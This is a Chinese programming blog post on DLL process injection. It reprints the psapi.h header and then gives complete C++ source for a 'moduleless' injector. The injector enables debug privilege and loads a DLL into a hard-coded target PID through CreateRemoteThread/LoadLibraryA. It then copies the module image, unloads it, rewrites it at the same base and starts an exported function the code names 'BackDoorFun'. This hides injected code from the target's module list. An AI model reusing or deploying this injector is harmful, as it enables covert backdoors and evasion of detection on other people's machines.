dll进程注入

我们在信息安全编程的时候经常需要进行dll进程注入,

我们在编程中如何实现呢。

需要引用Psapi.Lib

其头文件如下,

[cpp] 、、、、
            odule Name:   
  1.   psapi.h 
  2. Abstract:  
  3.   
  4.     Include file for APIs provided by PSAPI.DLL  
  5.   
  6. Author:  
  7.   
  8.     Richard Shupak   [richards]  06-Jan-1994  
  9.   
  10. Revision History:  
  11.   
  12. --*/  
  13.   
  14. #ifndef _PSAPI_H_   
  15. #define _PSAPI_H_   
  16.   
  17. #ifdef __cplusplus   
  18. extern "C" {  
  19. #endif   
  20.   
  21. BOOL  
  22. WINAPI  
  23. EnumProcesses(  
  24.     DWORD * lpidProcess,  
  25.     DWORD   cb,  
  26.     DWORD * cbNeeded  
  27.     );  
  28.   
  29. BOOL  
  30. WINAPI  
  31. EnumProcessModules(  
  32.     HANDLE hProcess,  
  33.     HMODULE *lphModule,  
  34.     DWORD cb,  
  35.     LPDWORD lpcbNeeded  
  36.     );  
  37.   
  38. DWORD  
  39. WINAPI  
  40. GetModuleBaseNameA(  
  41.     HANDLE hProcess,  
  42.     HMODULE hModule,  
  43.     LPSTR lpBaseName,  
  44.     DWORD nSize  
  45.     );  
  46.   
  47. DWORD  
  48. WINAPI  
  49. GetModuleBaseNameW(  
  50.     HANDLE hProcess,  
  51.     HMODULE hModule,  
  52.     LPWSTR lpBaseName,  
  53.     DWORD nSize  
  54.     );  
  55.   
  56. #ifdef UNICODE   
  57. #define GetModuleBaseName  GetModuleBaseNameW   
  58. #else   
  59. #define GetModuleBaseName  GetModuleBaseNameA   
  60. #endif // !UNICODE   
  61.   
  62.   
  63. DWORD  
  64. WINAPI  
  65. GetModuleFileNameExA(  
  66.     HANDLE hProcess,  
  67.     HMODULE hModule,  
  68.     LPSTR lpFilename,  
  69.     DWORD nSize  
  70.     );  
  71.   
  72. DWORD  
  73. WINAPI  
  74. GetModuleFileNameExW(  
  75.     HANDLE hProcess,  
  76.     HMODULE hModule,  
  77.     LPWSTR lpFilename,  
  78.     DWORD nSize  
  79.     );  
  80.   
  81. #ifdef UNICODE   
  82. #define GetModuleFileNameEx  GetModuleFileNameExW   
  83. #else   
  84. #define GetModuleFileNameEx  GetModuleFileNameExA   
  85. #endif // !UNICODE   
  86.   
  87.   
  88. typedef struct _MODULEINFO {  
  89.     LPVOID lpBaseOfDll;  
  90.     DWORD SizeOfImage;  
  91.     LPVOID EntryPoint;  
  92. } MODULEINFO, *LPMODULEINFO;  
  93.   
  94.   
  95. BOOL  
  96. WINAPI  
  97. GetModuleInformation(  
  98.     HANDLE hProcess,  
  99.     HMODULE hModule,  
  100.     LPMODULEINFO lpmodinfo,  
  101.     DWORD cb  
  102.     );  
  103.   
  104.   
  105. BOOL  
  106. WINAPI  
  107. EmptyWorkingSet(  
  108.     HANDLE hProcess  
  109.     );  
  110.   
  111.   
  112. BOOL  
  113. WINAPI  
  114. QueryWorkingSet(  
  115.     HANDLE hProcess,  
  116.     PVOID pv,  
  117.     DWORD cb  
  118.     );  
  119.   
  120. BOOL  
  121. WINAPI  
  122. InitializeProcessForWsWatch(  
  123.     HANDLE hProcess  
  124.     );  
  125.   
  126.   
  127. typedef struct _PSAPI_WS_WATCH_INFORMATION {  
  128.     LPVOID FaultingPc;  
  129.     LPVOID FaultingVa;  
  130. } PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;  
  131.   
  132. BOOL  
  133. WINAPI  
  134. GetWsChanges(  
  135.     HANDLE hProcess,  
  136.     PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,  
  137.     DWORD cb  
  138.     );  
  139.   
  140. DWORD  
  141. WINAPI  
  142. GetMappedFileNameW(  
  143.     HANDLE hProcess,  
  144.     LPVOID lpv,  
  145.     LPWSTR lpFilename,  
  146.     DWORD nSize  
  147.     );  
  148.   
  149. DWORD  
  150. WINAPI  
  151. GetMappedFileNameA(  
  152.     HANDLE hProcess,  
  153.     LPVOID lpv,  
  154.     LPSTR lpFilename,  
  155.     DWORD nSize  
  156.     );  
  157.   
  158. #ifdef UNICODE   
  159. #define GetMappedFilenameEx  GetMappedFilenameExW   
  160. #else   
  161. #define GetMappedFilenameEx  GetMappedFilenameExA   
  162. #endif // !UNICODE   
  163.   
  164. BOOL  
  165. WINAPI  
  166. EnumDeviceDrivers(  
  167.     LPVOID *lpImageBase,  
  168.     DWORD cb,  
  169.     LPDWORD lpcbNeeded  
  170.     );  
  171.   
  172.   
  173. DWORD  
  174. WINAPI  
  175. GetDeviceDriverBaseNameA(  
  176.     LPVOID ImageBase,  
  177.     LPSTR lpBaseName,  
  178.     DWORD nSize  
  179.     );  
  180.   
  181. DWORD  
  182. WINAPI  
  183. GetDeviceDriverBaseNameW(  
  184.     LPVOID ImageBase,  
  185.     LPWSTR lpBaseName,  
  186.     DWORD nSize  
  187.     );  
  188.   
  189. #ifdef UNICODE   
  190. #define GetDeviceDriverBaseName  GetDeviceDriverBaseNameW   
  191. #else   
  192. #define GetDeviceDriverBaseName  GetDeviceDriverBaseNameA   
  193. #endif // !UNICODE   
  194.   
  195.   
  196. DWORD  
  197. WINAPI  
  198. GetDeviceDriverFileNameA(  
  199.     LPVOID ImageBase,  
  200.     LPSTR lpFilename,  
  201.     DWORD nSize  
  202.     );  
  203.   
  204. DWORD  
  205. WINAPI  
  206. GetDeviceDriverFileNameW(  
  207.     LPVOID ImageBase,  
  208.     LPWSTR lpFilename,  
  209.     DWORD nSize  
  210.     );  
  211.   
  212. #ifdef UNICODE   
  213. #define GetDeviceDriverFileName  GetDeviceDriverFileNameW   
  214. #else   
  215. #define GetDeviceDriverFileName  GetDeviceDriverFileNameA   
  216. #endif // !UNICODE   
  217.   
  218. // Structure for GetProcessMemoryInfo()   
  219.   
  220. typedef struct _PROCESS_MEMORY_COUNTERS {  
  221.     DWORD cb;  
  222.     DWORD PageFaultCount;  
  223.     DWORD PeakWorkingSetSize;  
  224.     DWORD WorkingSetSize;  
  225.     DWORD QuotaPeakPagedPoolUsage;  
  226.     DWORD QuotaPagedPoolUsage;  
  227.     DWORD QuotaPeakNonPagedPoolUsage;  
  228.     DWORD QuotaNonPagedPoolUsage;  
  229.     DWORD PagefileUsage;  
  230.     DWORD PeakPagefileUsage;  
  231. } PROCESS_MEMORY_COUNTERS;  
  232. typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;  
  233.   
  234. BOOL  
  235. WINAPI  
  236. GetProcessMemoryInfo(  
  237.     HANDLE Process,  
  238.     PPROCESS_MEMORY_COUNTERS ppsmemCounters,  
  239.     DWORD cb  
  240.     );  
  241.   
  242. #ifdef __cplusplus   
  243. }  
  244. #endif   
  245.   
  246. #endif  

 

无模块dll进程注入请见下列代码与分析

[cpp]
             #include "stdafx.h"   
  1. #include "windows.h"   
  2. #include "stdio.h"   
  3. #include "Psapi.h"   
  4. #include "Tlhelp32.h"   
  5.   
  6.   
  7. //获得加载的DLL模块的信息,主要包括模块基地址和模块大小   
  8. BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread)  
  9. {  
  10.         HANDLE hthSnapshot = NULL;   
  11.         // 取得指定进程的所有模块映象.    
  12.         hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);   
  13.         if (hthSnapshot == NULL)   
  14.             return FALSE;  
  15.         // 取得所有模块列表中的指定的模块.    
  16.         BOOL bMoreMods = Module32First(hthSnapshot, &Thread);   
  17.         if (bMoreMods == FALSE)  
  18.             return FALSE;  
  19.         // 循环取得想要的模块.    
  20.         for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread))   
  21.         {  
  22.             if (strcmp(Thread.szExePath, Dllfullname) == 0)  
  23.                 break;   
  24.         }  
  25.         if (strcmp(Thread.szExePath, Dllfullname) == 0)  
  26.             return TRUE;  
  27.         else  
  28.             return FALSE;  
  29.   
  30. }  
  31. //调整进程权限   
  32. BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName)  
  33. {  
  34.     //******************************************************   
  35.     //调整进程权限   
  36.     //******************************************************   
  37.     HANDLE hToken;                   
  38.     TOKEN_PRIVILEGES tkp;       
  39.     //打开进程的权限标记   
  40.     if (!::OpenProcessToken(hProcess,         
  41.            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))   
  42.            return FALSE;  
  43.     //传入lpPrivilegeName的Luid值   
  44.     if(!::LookupPrivilegeValue(NULL,           
  45.           lpPrivilegeName,      
  46.           &tkp.Privileges[0].Luid))   
  47.           return FALSE;  
  48.   
  49.     tkp.PrivilegeCount = 1;    
  50.     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
  51.     if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,   
  52.                          (PTOKEN_PRIVILEGES) NULL, 0))  
  53.                          return FALSE;  
  54.     return TRUE;  
  55. }  
  56. //注入DLL部分   
  57. BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname)  
  58. {  
  59.       
  60.     //开辟虚拟空间,以便写入DLL的完整路径   
  61.     PSTR pDllName=NULL;  
  62.     if((pDllName=(PSTR)::VirtualAllocEx(hProcess,  
  63.         NULL,  
  64.         strlen(Dllfullname)+1,  
  65.         MEM_COMMIT|MEM_RESERVE,  
  66.         PAGE_EXECUTE_READWRITE))==NULL)  
  67.         return FALSE;  
  68.   
  69.     BOOL  writecode;  
  70.     if((writecode=::WriteProcessMemory(hProcess,  
  71.         pDllName,  
  72.         Dllfullname,  
  73.         strlen(Dllfullname)+1,  
  74.         NULL))==0)  
  75.         return FALSE;  
  76.   
  77.     //取得LoadLibrary函数在Kernel32.dll中的地址.    
  78.     PTHREAD_START_ROUTINE pfnThreadRtn =   
  79.             (PTHREAD_START_ROUTINE)GetProcAddress(   
  80.             GetModuleHandle("Kernel32.dll"), "LoadLibraryA");   
  81.     if (pfnThreadRtn== NULL)  
  82.         return FALSE;  
  83.     //打开远线程   
  84.     HANDLE  hRemoteThread=NULL;  
  85.     if((hRemoteThread=::CreateRemoteThread(hProcess,  
  86.         NULL,  
  87.         0,  
  88.         pfnThreadRtn,  
  89.         pDllName,    //loadlibrary参数,即dll的路径字符串在远程进程中的地址,若是多参数则放在一个结构体中   
  90.         0,  
  91.         NULL))==NULL)  
  92.         return FALSE;  
  93.     return TRUE;  
  94. }  
  95. //卸载DLL   
  96. BOOL UnistallDll(HANDLE hProcess,BYTE  * Address)  
  97. {  
  98.       
  99.     // 取得FreeLibrary函数在Kernel32.dll中的地址.   
  100.     HANDLE hThread  = NULL;   
  101.     PTHREAD_START_ROUTINE pfnThreadRtn =   
  102.             (PTHREAD_START_ROUTINE)GetProcAddress(   
  103.             GetModuleHandle("Kernel32.dll"), "FreeLibrary");   
  104.     if (pfnThreadRtn == NULL)  
  105.         return FALSE;  
  106.     // 创建远程线程来执行FreeLibrary函数.    
  107.     hThread = ::CreateRemoteThread(hProcess,   
  108.             NULL,   
  109.             0,   
  110.             pfnThreadRtn,   
  111.             Address,   
  112.             0,   
  113.             NULL);   
  114.     if (hThread == NULL)   
  115.         return FALSE;  
  116.     // 等待远程线程终止.   
  117.     ::WaitForSingleObject(hThread, INFINITE);   
  118.     // 关闭句柄.    
  119.     ::CloseHandle(hThread);  
  120.     return TRUE;  
  121.   
  122. }  
  123.   
  124. #define pid 3844   
  125. #define BackDoorFun 0x1014//DLL模块中导出函数的地址   
  126. int main(int argc, char* argv[])  
  127. {  
  128.     char Dllfullname[255];  
  129.     char Dllname[255];  
  130.     //打开进程   
  131.     HANDLE hRemoteProcess=NULL;  
  132.     if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,    
  133.         FALSE,   
  134.         pid))==NULL)  
  135.     {  
  136.         printf("OpenProcess faile!!");  
  137.         return 0;  
  138.     }  
  139.   
  140.     BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME);  
  141.     if(Adjust==FALSE)  
  142.     {  
  143.         printf("Adjust process Privileges faile!!\n");  
  144.         return 0;  
  145.     }  
  146.   
  147.     //获得DLL的完整路径   
  148.     strcpy(Dllname,"dll.dll");  
  149.     ::GetCurrentDirectory(255,Dllfullname);  
  150.     strcat(Dllfullname,"\\");  
  151.     strcat(Dllfullname,Dllname);  
  152.   
  153.     BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname);  
  154.     if(Res==FALSE)  
  155.     {  
  156.         printf("Inject Faile!!\n");  
  157.         return 0;  
  158.     }  
  159.       
  160.     //等待远线程启动,否则获取不到插入的dll信息   
  161.     ::Sleep(300);  
  162.       
  163.     DWORD RemoteTheadAddress=0;  
  164.     MODULEENTRY32 Thread = {sizeof(Thread)};;   
  165.     RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread);  
  166.     if(RemoteTheadAddress==0)  
  167.     {  
  168.         printf("Get RemoteTheadAddress Faile!!\n");  
  169.             return 0;  
  170.     }  
  171.       
  172.     //分配保存DLL加载后的的缓冲区,并保存   
  173.     char *buffer=new char[Thread.modBaseSize+1];  
  174.     DWORD read;  
  175.     ::ReadProcessMemory(hRemoteProcess,  
  176.         Thread.modBaseAddr,//加载的DLL模块基地址   
  177.         buffer,  
  178.         Thread.modBaseSize,//加载的DLL代码的大小   
  179.         &read);  
  180.     //卸载DLL   
  181.     BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr);  
  182.     if(Unstall==FALSE)  
  183.     {  
  184.         printf("Unistall dll Faile!!!\n");  
  185.         return 0;  
  186.     }  
  187.     //重新分配虚拟内存,注意从原模块基地址出开始分配   
  188.     LPVOID Alloc;  
  189.     Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);  
  190.     if(Alloc== NULL)  
  191.     {  
  192.         printf("VirtualAllocEx Failed!!\n");  
  193.         return 0;  
  194.     }  
  195.   
  196.     BOOL Writer;DWORD Written;  
  197.     Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written);  
  198.     if(Writer==0)  
  199.     {  
  200.         printf("WriteProcessMemory Failed!!\n");  
  201.         return 0;  
  202.     }  
  203.     //重新启动新的无DLL模块的线程中的函数   
  204.     HANDLE  hNewThread=NULL;  
  205.     if((hNewThread=::CreateRemoteThread(hRemoteProcess,  
  206.         NULL,  
  207.         0,  
  208.         (PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址   
  209.         NULL, //此处填写导出函数的参数地址,为简单期间,本导出函数没有参数,若有参数可用注入DLL中同样方法写进进程空间中   
  210.         0,  
  211.         NULL))==NULL)  
  212.     {  
  213.         printf("CreateNewThread faile!!\n");  
  214.         return 0;  
  215.     }  
  216.     return 0;  
  217. }  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值